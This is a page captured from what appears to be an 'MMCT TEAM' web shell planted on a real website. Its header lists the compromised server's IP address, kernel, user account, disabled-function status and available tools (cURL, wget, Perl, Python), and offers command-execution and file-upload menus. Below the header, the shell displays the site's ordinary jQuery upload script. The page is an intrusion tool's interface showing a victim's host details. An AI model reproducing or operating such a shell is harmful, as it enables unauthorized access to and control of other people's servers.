MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.133.124.161
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/biocareaqua.org/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/biocareaqua.org/admin/script.js
var abc = 0; //Declaring and defining global increement variable

$(document).ready(function() {

//To add new input file field dynamically, on click of "Add More Files" button below function will be executed
    $('#add_more').click(function() {
        $(this).before($("<div/>", {id: 'filediv'}).fadeIn('slow').append(
                $("<input/>", {name: 'file[]', type: 'file', id: 'file'}),        
                $("<br/><br/>")
                ));
    });
    


 $('.text_alt_title').click(function() {
        $(this).before($("<div/>", {id: 'textdiv'}).fadeIn('slow').append(
            
				$("<input/>", {name: 'alt_title[]', type: 'text', id: 'alt_title', style:'width:350px;height:28px', placeholder:'Image Alt Title' }),        
                $("<br/><br/>")
				
                ));
    });



    $('#upload').click(function(e) {
        var name = $(":file").val();
        if (!name)
        {
            alert("First Image Must Be Selected");
            e.preventDefault();
        }
    });
});

MMCT - 2023